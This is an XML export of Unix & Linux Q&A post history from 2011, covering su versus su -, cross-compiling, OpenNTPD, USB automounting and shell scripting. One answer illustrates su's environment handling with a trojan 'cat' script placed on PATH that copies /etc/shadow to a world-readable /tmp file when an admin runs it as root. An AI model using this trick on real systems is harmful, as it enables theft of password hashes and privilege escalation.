  <row Id="16215" PostHistoryTypeId="2" PostId="7019" RevisionGUID="6711735c-3a02-412a-937f-d7a278d586de" CreationDate="2011-02-07T11:38:42.613" UserId="2269" Text="hi,&#xD;&#xA;&#xD;&#xA;Somewhere i heard the term 'Scratchbox2'. Why this is used? what is the exact meaning of this?&#xD;&#xA;What is the advantages over Scratchbox 1?&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;" />
  <row Id="16216" PostHistoryTypeId="1" PostId="7019" RevisionGUID="6711735c-3a02-412a-937f-d7a278d586de" CreationDate="2011-02-07T11:38:42.613" UserId="2269" Text="What is the meaning of Scratchbox2 ?" />
  <row Id="16217" PostHistoryTypeId="3" PostId="7019" RevisionGUID="6711735c-3a02-412a-937f-d7a278d586de" CreationDate="2011-02-07T11:38:42.613" UserId="2269" Text="élinuxàécrossöcompilationàécompilingà" />
  <row Id="16218" PostHistoryTypeId="5" PostId="7017" RevisionGUID="6fdaaddf-dffb-4e18-a8f2-9ae50125f6f5" CreationDate="2011-02-07T11:41:19.130" UserId="3169" Comment="added 164 characters in body" Text="`su -` logs you in completely as root, whereas `su` makes it so you are pretending to be root.&#xD;&#xA;&#xD;&#xA;The most obvious example of this is that `~` is root's home directory if you use `su -`, but your own home directory if you use `su`.&#xD;&#xA;&#xD;&#xA;Depending on your system, it may also mean differences in prompt, `PATH`, or history file.&#xD;&#xA;&#xD;&#xA;So if you are part of a team administering a system, and your colleague gives you a command to run, you know it will work the same if you are both using `su -`, but if you are both using `su`, there may be differences due to you having different shell configurations.&#xD;&#xA;&#xD;&#xA;On the other hand, if you want to run a command as root but using your own configuration, then maybe `su` is better for you, and `sudo` is probably even better." />
  <row Id="16219" PostHistoryTypeId="2" PostId="7020" RevisionGUID="7f244c62-57f0-4946-8f65-6d5f50ac2fbd" CreationDate="2011-02-07T11:45:53.133" UserId="3169" Text="You should be able to list packages installed via `alien` just by running `rpm -qa`.&#xD;&#xA;&#xD;&#xA;For Debian packages, maybe some combination of `apt-cache policy` and `apt-get autoclean` can help?&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&gt;        autoclean&#xD;&#xA;           Like clean, autoclean clears out the local repository of retrieved&#xD;&#xA;           package files. The difference is that it only removes package files&#xD;&#xA;           that can no longer be downloaded, and are largely useless." />
  <row Id="16220" PostHistoryTypeId="5" PostId="7017" RevisionGUID="e6ab2fc9-35c2-401b-8102-916cd9c67c26" CreationDate="2011-02-07T11:51:29.237" UserId="3169" Comment="added 166 characters in body" Text="`su -` logs you in completely as root, whereas `su` makes it so you are pretending to be root.&#xD;&#xA;&#xD;&#xA;The most obvious example of this is that `~` is root's home directory if you use `su -`, but your own home directory if you use `su`.&#xD;&#xA;&#xD;&#xA;Depending on your system, it may also mean differences in prompt, `PATH`, or history file.&#xD;&#xA;&#xD;&#xA;So if you are part of a team administering a system, and your colleague gives you a command to run, you know it will work the same if you are both using `su -`, but if you are both using `su`, there may be differences due to you having different shell configurations.&#xD;&#xA;&#xD;&#xA;On the other hand, if you want to run a command as root but using your own configuration, then maybe `su` is better for you.&#xD;&#xA;&#xD;&#xA;Also don't forget about `sudo`, which has a `-s` option to start a shell running as root.  Of course, this has different rules as well, and they change depending on which distribution you are using." />
  <row Id="16221" PostHistoryTypeId="2" PostId="7021" RevisionGUID="8c2ec2a9-2e93-4317-85a5-94b72f5b2f58" CreationDate="2011-02-07T12:01:05.027" UserId="3069" Text="`su -` invokes a login shell after switching the user. A login shell resets most environment variables, providing a clean base.&#xD;&#xA;&#xD;&#xA;`su` just switches the user, providing a normal shell with an environment nearly the same as with the old user.&#xD;&#xA;&#xD;&#xA;Imagine, you're a software developer with normal user access to a machine and your ignorant admin just won't give you root access. Let's (hopefully) trick him.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;    $ mkdir /tmp/evil_bin&#xD;&#xA;    $ vi /tmp/evil_bin/cat&#xD;&#xA;    #!/bin/bash&#xD;&#xA;    test $UID != 0 &amp;&amp; { echo &quot;/bin/cat: Permission denied!&quot;; exit 1; }&#xD;&#xA;    /bin/cat /etc/shadow &amp;&gt;/tmp/shadow_copy&#xD;&#xA;    /bin/cat &quot;$@&quot;&#xD;&#xA;    exit 0&#xD;&#xA;&#xD;&#xA;    $ chmod +x /tmp/evil_bin/cat&#xD;&#xA;    $ PATH=&quot;/tmp/evil_bin:$PATH&quot;&#xD;&#xA;&#xD;&#xA;Now, you ask your admin why you can't `cat` the dummy file in your home folder, it just won't work!   &#xD;&#xA;&#xD;&#xA;    $ ls -l /home/you/dummy_file&#xD;&#xA;    -rw-r--r-- 1 you wheel 41 2011-02-07 13:00 dummy_file&#xD;&#xA;    $ cat /home/you/dummy_file&#xD;&#xA;    /bin/cat: Permission denied!&#xD;&#xA;&#xD;&#xA;If your admin isn't that smart or just a bit lazy, he might come to your desk and try with his super-user powers:&#xD;&#xA;&#xD;&#xA;    $ su&#xD;&#xA;    Password: ...&#xD;&#xA;    # cat /home/you/dummy_file&#xD;&#xA;    Some important dummy stuff in that file.&#xD;&#xA;    # exit&#xD;&#xA;&#xD;&#xA;Wow! Thank super admin!&#xD;&#xA;&#xD;&#xA;    $ ls -l /tmp/shadow_copy&#xD;&#xA;    -rw-r--r-- 1 root root 1093 2011-02-07 13:02 /tmp/shadow_copy&#xD;&#xA;    &#xD;&#xA;He, he.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;You've maybe noticed, that the corrupted `$PATH` variable was not reset. This wouldn't had happened, if the admin invoked `su -` ." />
  <row Id="16222" PostHistoryTypeId="2" PostId="7022" RevisionGUID="790a488e-3f4c-4a96-9150-45c88450a6fb" CreationDate="2011-02-07T12:18:32.937" UserId="2269" Text="hi all,&#xD;&#xA;&#xD;&#xA;May i know what is the exact difference between cross-compiling and native compiling ?&#xD;&#xA;&#xD;&#xA;" />
  <row Id="16223" PostHistoryTypeId="1" PostId="7022" RevisionGUID="790a488e-3f4c-4a96-9150-45c88450a6fb" CreationDate="2011-02-07T12:18:32.937" UserId="2269" Text="what is the difference between  cross-compiling and native compiling" />
  <row Id="16224" PostHistoryTypeId="3" PostId="7022" RevisionGUID="790a488e-3f4c-4a96-9150-45c88450a6fb" CreationDate="2011-02-07T12:18:32.937" UserId="2269" Text="écrossöcompilationà" />
  <row Id="16225" PostHistoryTypeId="2" PostId="7023" RevisionGUID="e348a1fd-b6ab-4946-83ff-971b4f0183a2" CreationDate="2011-02-07T12:25:57.770" UserId="4542" Text="Also worth knowing, although not an answer: There is also `su --`, which behaves like `su -`, but does not change the current directory." />
  <row Id="16226" PostHistoryTypeId="5" PostId="5055" RevisionGUID="9faca4d8-9b95-44b7-9547-d9514d9934a7" CreationDate="2011-02-07T12:46:53.007" UserId="2689" Comment="added 53 characters in body" Text="After reading [this answer][1] about a zsh feature:&#xD;&#xA;&#xD;&#xA;&gt; If a given extension has a suffix&#xD;&#xA;&gt; alias, you can execute a file with&#xD;&#xA;&gt; that extention directly, and ZSH will&#xD;&#xA;&gt; launch the given program and pass the&#xD;&#xA;&gt; filename as an argument.&#xD;&#xA;&#xD;&#xA;Is there something similar to bash? So doing&#xD;&#xA;&#xD;&#xA;&gt; program /path/to/foo.ext&#xD;&#xA;&gt;&#xD;&#xA;&gt; /path/to/foo.ext&#xD;&#xA;&#xD;&#xA;would equivalent to the same [zsh feature][1]? Is this feature available in newer versions of bash?&#xD;&#xA;&#xD;&#xA;  [1]: http://unix.stackexchange.com/questions/6/what-are-your-favorite-command-line-features-or-tricks/221#221" />
  <row Id="16227" PostHistoryTypeId="5" PostId="6196" RevisionGUID="0def1eaa-cb4a-4fa1-a00c-7d16e14d28dd" CreationDate="2011-02-07T12:58:43.853" UserId="549" Comment="fixed a few typos" Text="Running into a strange problem. I have a local server running Red Hat on a virtual machine (accessed through putty). I'm using this server to work on a website in Django, which I run with: &#xD;&#xA; &#xD;&#xA;    python manage.py runserver 0.0.0.0: 8080.   &#xD;&#xA;&#xD;&#xA;Now that works just fine, and I can access it through redHatIP:8080. However, I recently downloaded and installed Wordpress, Drupal, and &lt;a href=&quot;http://haveamint.com/&quot;&gt;Mint&lt;/a&gt;. Mint was added to the original site, and I access it through redHatIP/mint. Wordpress and Drupal are completely unrelated to the original site, but are both located in /var/www/html (long with the original site located through my 8080 poty).&#xD;&#xA;&#xD;&#xA;I accessed drupal and wordpress through redHatIP/drupal and redhatIP respectively, and it was working just fine until today. For some reason when I go to redHatIP now I receive the following error in my internet browser:  &#xD;&#xA;&#xD;&#xA;    The requested URL / was not found on this server.&#xD;&#xA;&#xD;&#xA;If I go to redHatIP/drupal I received The requested URL /drupal was not found on this server, to redHatIP/anything I receive The requested URL /anything was not found on this server et cetera. This applies to Mint as well, which I access through redHatIP/mint. However, I can still access the original site through redHatIP:8080, and that works just fine.  &#xD;&#xA;&#xD;&#xA;I completely removed Django and wordpress, then downloaded them again. I tried having just one of them located in /var/www/html/, but that did nothing. I tried moving them to /var/www/, but that also did nothing.   &#xD;&#xA;&#xD;&#xA;When I go to my error log messages in /pwd/log/httpd/error_log It has the following message:&#xD;&#xA;&#xD;&#xA;    _default_ VirtualHost overlap on port 80, the first has precedence.&#xD;&#xA;&#xD;&#xA;However this was reported the day *before* all this happened, when I had both Django and Wordpress together, and there hasn't been any message since. &#xD;&#xA;&#xD;&#xA;I have been unable to fix this on my own, nor have I found a solution on the net. Any ideas? Any other information that would help understand the problem? et cetera?" />
  <row Id="16228" PostHistoryTypeId="24" PostId="6196" RevisionGUID="e115a45d-cd2a-4da3-8cf8-235efc2f6bbf" CreationDate="2011-02-07T12:58:43.853" Comment="Proposed by 549 approved by 305 edit id of 15" />
  <row Id="16229" PostHistoryTypeId="2" PostId="7024" RevisionGUID="4d92467f-c8e6-466b-9511-4aa068f07366" CreationDate="2011-02-07T13:28:10.990" UserId="3976" Text="You use a [cross compiler][1] to produce executables (or objects) for a platform other than the local host.  The native compiler only produces native binaries.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://secure.wikimedia.org/wikipedia/en/wiki/Cross_compiler" />
  <row Id="16230" PostHistoryTypeId="2" PostId="7025" RevisionGUID="82e51cf1-29d2-406e-8ead-d13a0da030ad" CreationDate="2011-02-07T13:48:17.930" UserId="665" Text="I'd also add [KeePassX][1] which gives you the option of using system entropy to generate strong passwords with a few nice features - all using GUI. It also gives you the option of managing your passwords, and saving them to an encrypted file.&#xD;&#xA;&#xD;&#xA;This is how KPX password generator interface looks like:&#xD;&#xA;&#xD;&#xA;![enter image description here][2]&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.keepassx.org/&#xD;&#xA;  [2]: http://i.imgur.com/BGcbh.jpg" />
  <row Id="16231" PostHistoryTypeId="2" PostId="7026" RevisionGUID="dd40e075-e366-499e-9d3c-c2ffcaafb4d8" CreationDate="2011-02-07T14:01:43.473" UserId="916" Text="I know the OpenBSD team wrote a from-scratch replacement for `ntpd`—[OpenNTPD][1]—that is available via `pkgsrc`/`ports`. My question is more about the base system: Is OpenNTPD the default `ntpd` in the base system in NetBSD or FreeBSD? What about Linux distros, some of which (Gentoo or Arch, for example) are more &quot;BSDish&quot;?&#xD;&#xA;&#xD;&#xA;Thanks.&#xD;&#xA;&#xD;&#xA;[1]: http://www.openntpd.org/" />
  <row Id="16232" PostHistoryTypeId="1" PostId="7026" RevisionGUID="dd40e075-e366-499e-9d3c-c2ffcaafb4d8" CreationDate="2011-02-07T14:01:43.473" UserId="916" Text="Has OpenBSD's `nptd` replacement been incorporated into the other BSDs? Or Linux, for that matter?" />
  <row Id="16233" PostHistoryTypeId="3" PostId="7026" RevisionGUID="dd40e075-e366-499e-9d3c-c2ffcaafb4d8" CreationDate="2011-02-07T14:01:43.473" UserId="916" Text="éfreebsdàénetbsdàéntpdàéopenntpdà" />
  <row Id="16234" PostHistoryTypeId="5" PostId="6856" RevisionGUID="1855a0e2-19ca-448e-9177-f10ce3e569cb" CreationDate="2011-02-07T14:07:12.610" UserId="688" Comment="deleted 65 characters in body" Text="Here's what `lshw -c memory` ([as root][1]) gives me:&#xD;&#xA;&#xD;&#xA;	  *-firmware              &#xD;&#xA;		   description: BIOS&#xD;&#xA;		   vendor: Acer&#xD;&#xA;		   physical id: 0&#xD;&#xA;		   version: V1.41 (01/07/08)&#xD;&#xA;		   size: 113KiB&#xD;&#xA;		   capacity: 960KiB&#xD;&#xA;		   capabilities: isa pci pcmcia pnp upgrade shadowing escd cdboot acpi usb agp biosbootspecification&#xD;&#xA;	  *-cache:0&#xD;&#xA;		   description: L1 cache&#xD;&#xA;		   physical id: 5&#xD;&#xA;		   slot: L1 Cache&#xD;&#xA;		   size: 64KiB&#xD;&#xA;		   capacity: 64KiB&#xD;&#xA;		   capabilities: asynchronous internal write-back&#xD;&#xA;	  *-cache:1&#xD;&#xA;		   description: L2 cache&#xD;&#xA;		   physical id: 6&#xD;&#xA;		   slot: L2 Cache&#xD;&#xA;		   size: 4MiB&#xD;&#xA;		   capacity: 4MiB&#xD;&#xA;		   capabilities: burst internal write-back&#xD;&#xA;	  *-memory&#xD;&#xA;		   description: System Memory&#xD;&#xA;		   physical id: 16&#xD;&#xA;		   slot: System board or motherboard&#xD;&#xA;		   size: 4GiB&#xD;&#xA;		 *-bank:0&#xD;&#xA;			  description: SODIMM DDR2 Synchronous 667 MHz (1.5 ns)&#xD;&#xA;			  product: SODIMM000&#xD;&#xA;			  vendor: Mfg 0&#xD;&#xA;			  physical id: 0&#xD;&#xA;			  serial: 1234-B0&#xD;&#xA;			  slot: M1&#xD;&#xA;			  size: 2GiB&#xD;&#xA;			  width: 64 bits&#xD;&#xA;			  clock: 667MHz (1.5ns)&#xD;&#xA;		 *-bank:1&#xD;&#xA;			  description: SODIMM DDR2 Synchronous 667 MHz (1.5 ns)&#xD;&#xA;			  product: SODIMM001&#xD;&#xA;			  vendor: Mfg 1&#xD;&#xA;			  physical id: 1&#xD;&#xA;			  serial: 1234-B1&#xD;&#xA;			  slot: M2&#xD;&#xA;			  size: 2GiB&#xD;&#xA;			  width: 64 bits&#xD;&#xA;			  clock: 667MHz (1.5ns)&#xD;&#xA;&#xD;&#xA;What you are looking for is &quot;**System Memory**&quot;.&#xD;&#xA;&#xD;&#xA;  [1]: http://unix.stackexchange.com/questions/3063/how-do-i-run-a-command-as-the-system-administrator-root" />
  <row Id="16235" PostHistoryTypeId="2" PostId="7027" RevisionGUID="33e7a118-f445-4626-82c3-164a13669426" CreationDate="2011-02-07T14:08:51.843" UserId="4544" Text="for i in 1 2 3&#xD;&#xA;do&#xD;&#xA;mkdir -p backup/ch0${i}&#xD;&#xA;if [ $? -eq ]; then&#xD;&#xA;echo &quot;directory backup/ch0${i} created&quot;&#xD;&#xA;for j in c h sh&#xD;&#xA;do count=0&#xD;&#xA;count=`expr $count + 1`&#xD;&#xA;if [ $count==i ]; then&#xD;&#xA;cp /home/owner/*.${j} backup/ch0${i}&#xD;&#xA;if [ $count!=i ]; then&#xD;&#xA;continue;&#xD;&#xA;elif [ $? -ne 0 ]; then&#xD;&#xA;break 2;&#xD;&#xA;fi&#xD;&#xA;done&#xD;&#xA;else&#xD;&#xA;echo &quot;could not back up directory!!&quot;&#xD;&#xA;fi &#xD;&#xA;done&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;Question:I want to mv files with specific extensions to newly created directories.This script moves files with all the extentions in all the newly created folders which is not the intend.Instead it should move extension specific files to specific folders&#xD;&#xA;Can somebody help me out please..." />
  <row Id="16236" PostHistoryTypeId="1" PostId="7027" RevisionGUID="33e7a118-f445-4626-82c3-164a13669426" CreationDate="2011-02-07T14:08:51.843" UserId="4544" Text="I want to mv files with specific extensions to newly created directories" />
  <row Id="16237" PostHistoryTypeId="3" PostId="7027" RevisionGUID="33e7a118-f445-4626-82c3-164a13669426" CreationDate="2011-02-07T14:08:51.843" UserId="4544" Text="éshellöscriptà" />
  <row Id="16238" PostHistoryTypeId="25" PostId="7013" RevisionGUID="93f27278-3862-4bc5-9a81-96b12ab75d50" CreationDate="2011-02-07T14:16:30.073" Comment="http://twitter.com/#!/StackUnix/status/34616494088400896" />
  <row Id="16239" PostHistoryTypeId="2" PostId="7028" RevisionGUID="0fa8b7f4-00c3-4c2a-9eea-d76283a6f631" CreationDate="2011-02-07T14:20:49.057" UserId="688" Text="I used to be able to have my USB stick auto-mount when I plugged it in, on my GNOME desktop. After some fiddling with my system, it doesn't happen anymore. I now have to resort to doing this using the command line.&#xD;&#xA;&#xD;&#xA;Here's the end of `dmesg` output:&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;	[20500.548090] usb 2-3: new high speed USB device using ehci_hcd and address 6&#xD;&#xA;	[20500.703390] usb 2-3: New USB device found, idVendor=8564, idProduct=1000&#xD;&#xA;	[20500.703399] usb 2-3: New USB device strings: Mfr=1, Product=2, SerialNumber=3&#xD;&#xA;	[20500.703406] usb 2-3: Product: Mass Storage Device&#xD;&#xA;	[20500.703411] usb 2-3: Manufacturer: JetFlash&#xD;&#xA;	[20500.703416] usb 2-3: SerialNumber: 64V6ZJ34LRL69IU1&#xD;&#xA;	[20500.703868] usb 2-3: selecting invalid altsetting 1&#xD;&#xA;	[20500.704828] scsi8 : usb-storage 2-3:1.0&#xD;&#xA;	[20502.122302] scsi 8:0:0:0: Direct-Access     JetFlash Transcend 8GB    1100 PQ: 0 ANSI: 0 CCS&#xD;&#xA;	[20502.123693] sd 8:0:0:0: Attached scsi generic sg2 type 0&#xD;&#xA;	[20502.125043] sd 8:0:0:0: [sdb] 15826944 512-byte logical blocks: (8.10 GB/7.54 GiB)&#xD;&#xA;	[20502.125774] sd 8:0:0:0: [sdb] Write Protect is off&#xD;&#xA;	[20502.125782] sd 8:0:0:0: [sdb] Mode Sense: 43 00 00 00&#xD;&#xA;	[20502.125789] sd 8:0:0:0: [sdb] Assuming drive cache: write through&#xD;&#xA;	[20502.132333] sd 8:0:0:0: [sdb] Assuming drive cache: write through&#xD;&#xA;	[20502.133529]  sdb: sdb1&#xD;&#xA;	[20502.135252] sd 8:0:0:0: [sdb] Assuming drive cache: write through&#xD;&#xA;	[20502.135257] sd 8:0:0:0: [sdb] Attached SCSI removable disk&#xD;&#xA;	[20502.658377] UDF-fs: No anchor found&#xD;&#xA;	[20502.658380] UDF-fs: Rescanning with blocksize 2048&#xD;&#xA;	[20502.682376] UDF-fs: No anchor found&#xD;&#xA;	[20502.682379] UDF-fs: No partition found (1)&#xD;&#xA;	[20502.738750] ISOFS: Unable to identify CD-ROM format.&#xD;&#xA;" />
  <row Id="16240" PostHistoryTypeId="1" PostId="7028" RevisionGUID="0fa8b7f4-00c3-4c2a-9eea-d76283a6f631" CreationDate="2011-02-07T14:20:49.057" UserId="688" Text="How to get my USB stick to auto-mount?" />
  <row Id="16241" PostHistoryTypeId="3" PostId="7028" RevisionGUID="0fa8b7f4-00c3-4c2a-9eea-d76283a6f631" CreationDate="2011-02-07T14:20:49.057" UserId="688" Text="égnomeàéautomountingà" />
  <row Id="16242" PostHistoryTypeId="2" PostId="7029" RevisionGUID="7fdb5b41-af1b-4c55-a36a-80327456ff93" CreationDate="2011-02-07T14:28:01.453" UserId="2405" Text="Wanted to make an archive:&#xD;&#xA;&#xD;&#xA;    tar -cvzf mydir/* mydir.tar.gz&#xD;&#xA;&#xD;&#xA;Of course, `mydir/*` expanded to `mydir/myfile.cpp mydir/myfile.h`&#xD;&#xA;&#xD;&#xA;Remember that the archive name follows the `-f` option of tar!" />
  <row Id="16243" PostHistoryTypeId="2" PostId="7030" RevisionGUID="b6e53a6d-ffee-456c-a28d-941118a68265" CreationDate="2011-02-07T14:33:16.767" UserId="3976" Text="I just looked at the FreeBSD source for the non-ports version of ntpd, the FreeBSD ntpd is the ntp.org version.  There's an openntpd in ports though.  It looks like NetBSD has a package for ntpd and openntpd.&#xD;&#xA;&#xD;&#xA;I can't see any reason why you couldn't run OpenNTPd on any Linux distro.  It might make sense, considering the weird licensing that exists on the current ntp.org ntpd (which is mostly BSD, with a touch of MIT, GPL and public licenses.)" />
  <row Id="16244" PostHistoryTypeId="5" PostId="7028" RevisionGUID="fed577d6-bcb3-4649-bac5-90aa4c6cc933" CreationDate="2011-02-07T14:36:12.040" UserId="688" Comment="more info; added 2 characters in body" Text="I used to be able to have my USB stick auto-mount when I plugged it in, on my GNOME desktop. After some fiddling with my system, it doesn't happen anymore. I now have to resort to doing this using the command line.&#xD;&#xA;&#xD;&#xA;Here's the Window that appears when I stick it in:&#xD;&#xA;&#xD;&#xA;![enter image description here][1]&#xD;&#xA;&#xD;&#xA;Here's the end of `dmesg` output:&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;	[20500.548090] usb 2-3: new high speed USB device using ehci_hcd and address 6&#xD;&#xA;	[20500.703390] usb 2-3: New USB device found, idVendor=8564, idProduct=1000&#xD;&#xA;	[20500.703399] usb 2-3: New USB device strings: Mfr=1, Product=2, SerialNumber=3&#xD;&#xA;	[20500.703406] usb 2-3: Product: Mass Storage Device&#xD;&#xA;	[20500.703411] usb 2-3: Manufacturer: JetFlash&#xD;&#xA;	[20500.703416] usb 2-3: SerialNumber: 64V6ZJ34LRL69IU1&#xD;&#xA;	[20500.703868] usb 2-3: selecting invalid altsetting 1&#xD;&#xA;	[20500.704828] scsi8 : usb-storage 2-3:1.0&#xD;&#xA;	[20502.122302] scsi 8:0:0:0: Direct-Access     JetFlash Transcend 8GB    1100 PQ: 0 ANSI: 0 CCS&#xD;&#xA;	[20502.123693] sd 8:0:0:0: Attached scsi generic sg2 type 0&#xD;&#xA;	[20502.125043] sd 8:0:0:0: [sdb] 15826944 512-byte logical blocks: (8.10 GB/7.54 GiB)&#xD;&#xA;	[20502.125774] sd 8:0:0:0: [sdb] Write Protect is off&#xD;&#xA;	[20502.125782] sd 8:0:0:0: [sdb] Mode Sense: 43 00 00 00&#xD;&#xA;	[20502.125789] sd 8:0:0:0: [sdb] Assuming drive cache: write through&#xD;&#xA;	[20502.132333] sd 8:0:0:0: [sdb] Assuming drive cache: write through&#xD;&#xA;	[20502.133529]  sdb: sdb1&#xD;&#xA;	[20502.135252] sd 8:0:0:0: [sdb] Assuming drive cache: write through&#xD;&#xA;	[20502.135257] sd 8:0:0:0: [sdb] Attached SCSI removable disk&#xD;&#xA;	[20502.658377] UDF-fs: No anchor found&#xD;&#xA;	[20502.658380] UDF-fs: Rescanning with blocksize 2048&#xD;&#xA;	[20502.682376] UDF-fs: No anchor found&#xD;&#xA;	[20502.682379] UDF-fs: No partition found (1)&#xD;&#xA;	[20502.738750] ISOFS: Unable to identify CD-ROM format.&#xD;&#xA;&#xD;&#xA;Note that auto-mounting works nicely on another installation (FWIW Ubuntu 10.10).&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://i.imgur.com/oBxkO.png" />
  <row Id="16245" PostHistoryTypeId="5" PostId="7022" RevisionGUID="f03b6393-c34d-47a9-a309-e53f1d83abe1" CreationDate="2011-02-07T14:44:21.610" UserId="73" Comment="deleted 25 characters in body" Text="What is the exact difference between cross-compiling and native compiling?&#xD;&#xA;" />
  <row Id="16246" PostHistoryTypeId="5" PostId="7027" RevisionGUID="59f707eb-596f-45ec-b0c8-462965231d5d" CreationDate="2011-02-07T14:58:35.373" UserId="73" Comment="added 270 characters in body; edited title" Text="I want to `mv` files with specific extensions to newly created directories. This script moves files with all the extentions in all the newly created folders, which is not the intent. Instead, it should move extension-specific files to specific folders. How can I accomplish that?&#xD;&#xA;&#xD;&#xA;    for i in 1 2 3&#xD;&#xA;    do&#xD;&#xA;        mkdir -p backup/ch0${i}&#xD;&#xA;        if [ $? -eq ]; then&#xD;&#xA;            echo &quot;directory backup/ch0${i} created&quot;&#xD;&#xA;            for j in c h sh&#xD;&#xA;            do&#xD;&#xA;                count=0&#xD;&#xA;                count=`expr $count + 1`&#xD;&#xA;                if [ $count==i ]; then&#xD;&#xA;                    cp /home/owner/*.${j} backup/ch0${i}&#xD;&#xA;                    if [ $count!=i ]; then&#xD;&#xA;                        continue;&#xD;&#xA;                    elif [ $? -ne 0 ]; then&#xD;&#xA;                        break 2;&#xD;&#xA;                    fi&#xD;&#xA;            done&#xD;&#xA;        else&#xD;&#xA;            echo &quot;could not back up directory!!&quot;&#xD;&#xA;        fi &#xD;&#xA;    done&#xD;&#xA;&#xD;&#xA;" />
  <row Id="16247" PostHistoryTypeId="4" PostId="7027" RevisionGUID="59f707eb-596f-45ec-b0c8-462965231d5d" CreationDate="2011-02-07T14:58:35.373" UserId="73" Comment="added 270 characters in body; edited title" Text="How to move files with specific extensions to newly created directories" />
  <row Id="16248" PostHistoryTypeId="2" PostId="7031" RevisionGUID="b6d1e622-b675-4e05-b305-9803bf939770" CreationDate="2011-02-07T15:31:42.083" UserId="2972" Text="With GNU Parallel you can do:&#xD;&#xA;&#xD;&#xA;    find . -type f | parallel md5sum {} \&gt; {}.md5&#xD;&#xA;&#xD;&#xA;You get the added benefit of running md5sum in parallel and that files like:&#xD;&#xA;&#xD;&#xA;    My brother's 12&quot; records.txt&#xD;&#xA;&#xD;&#xA;will not cause your command to crash. Watch the intro video to learn more: http://www.youtube.com/watch?v=OpaiGYxkSuQ&#xD;&#xA;" />
  <row Id="16249" PostHistoryTypeId="2" PostId="7032" RevisionGUID="bca4bedf-374f-41e4-93b4-d1748ed80bad" CreationDate="2011-02-07T15:38:30.037" UserId="4358" Text="I have not verified this, but it should do the job.&#xD;&#xA;&#xD;&#xA;    backups=( 1:c 2:h 3:sh )&#xD;&#xA;    &#xD;&#xA;    for set in &quot;${backups[@]}&quot;; do&#xD;&#xA;     IFS=&quot;:&quot; read dir_bkup file_ext &lt;&lt;&lt; &quot;$set&quot;&#xD;&#xA;     if ! mkdir -p &quot;backup/ch0$dir_bkup&quot;; then&#xD;&#xA;      echo  &quot;Could not create &quot;backup/ch0$dir_bkup. Skipping&quot;&#xD;&#xA;      continue&#xD;&#xA;     fi&#xD;&#xA;     cp &quot;/home/owner/&quot;*&quot;.$file_ext&quot; &quot;backup/$dir_bkup/&quot;&#xD;&#xA;    done" />
  <row Id="16250" PostHistoryTypeId="2" PostId="7033" RevisionGUID="ef223271-9679-4afd-a893-dbc74ff18bb8" CreationDate="2011-02-07T15:48:36.700" UserId="3645" Text="This should work:&#xD;&#xA;&#xD;&#xA;    backup_extensions()&#xD;&#xA;    {&#xD;&#xA;        count=0&#xD;&#xA;        while [ -n &quot;$1&quot; ]&#xD;&#xA;        do&#xD;&#xA;            let count+=1&#xD;&#xA;            mkdir -p backup/ch0${count}&#xD;&#xA;            cp /home/owner/*.${1} backup/ch0${count} || return 2&#xD;&#xA;            shift&#xD;&#xA;        done&#xD;&#xA;    }&#xD;&#xA;    &#xD;&#xA;    backup_extensions c h sh" />
  <row Id="16251" PostHistoryTypeId="2" PostId="7034" RevisionGUID="9ee70aff-fe76-4656-9531-59083bf1d9d1" CreationDate="2011-02-07T16:30:49.037" UserId="4552" Text="My favorite is when I was building the new Solaris system for an Oracle database installation. Everything was in place including the high priced oracle consultant right in the middle of the DB optimization work he was doing. I was in the server room checking on another server, when I tripped over the power cord to the server. " />
  <row Id="16252" PostHistoryTypeId="2" PostId="7035" RevisionGUID="02e7d73f-418f-48fe-8473-3f1aec99c7ab" CreationDate="2011-02-07T16:32:52.200" UserId="4553" Text="    tail -f access | awk '/ADD/{print $0}'&#xD;&#xA;&#xD;&#xA;Use the above, i use it usually. " />
  <row Id="16253" PostHistoryTypeId="2" PostId="7036" RevisionGUID="58b5a8af-85d6-48a4-ad7f-c3a39b162380" CreationDate="2011-02-07T16:38:54.067" UserId="4555" Text="Bit of an oddish one, if I've opened an X window over SSH in a screen session will it reopen when screen is reattached? I've been able to detach and the process stays running fine, with the X window continuing to update with me logged onto the server but I'm just curious if I'll be able to detach and logoff, then reattach and bring the window back. " />
  <row Id="16254" PostHistoryTypeId="1" PostId="7036" RevisionGUID="58b5a8af-85d6-48a4-ad7f-c3a39b162380" CreationDate="2011-02-07T16:38:54.067" UserId="4555" Text="X Window opened from screen" />
  <row Id="16255" PostHistoryTypeId="3" PostId="7036" RevisionGUID="58b5a8af-85d6-48a4-ad7f-c3a39b162380" CreationDate="2011-02-07T16:38:54.067" UserId="4555" Text="éxorgàéscreenàésshötunnelingà" />
  <row Id="16256" PostHistoryTypeId="2" PostId="7037" RevisionGUID="f4eabde1-0683-417c-848c-d42dbba4178b" CreationDate="2011-02-07T16:45:59.523" UserId="3389" Text="Cross compiling is compiling something for different CPU type than the one you are running on.  An example is compiling ARM binaries under an i386 system, or compiling 64-bit executables under a 32-bit system.&#xD;&#xA;&#xD;&#xA;You normally won't be able to run what you've just compiled when you cross compile it, until you ship the binaries to the system they belong to.&#xD;&#xA;&#xD;&#xA;Native compiling is when you compile for the same architecture you're running under, which is the normal situation.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;" />
  <row Id="16257" PostHistoryTypeId="2" PostId="7038" RevisionGUID="721670d7-3df2-4d32-803c-e3ddd160a7cb" CreationDate="2011-02-07T16:47:05.543" UserId="3389" Text="Looks like your USB stick has a hidden partiton that acts as a CD-ROM drive.  You might need to look for a Windows utility from the manufacturer that can remove that, unfortunately." />
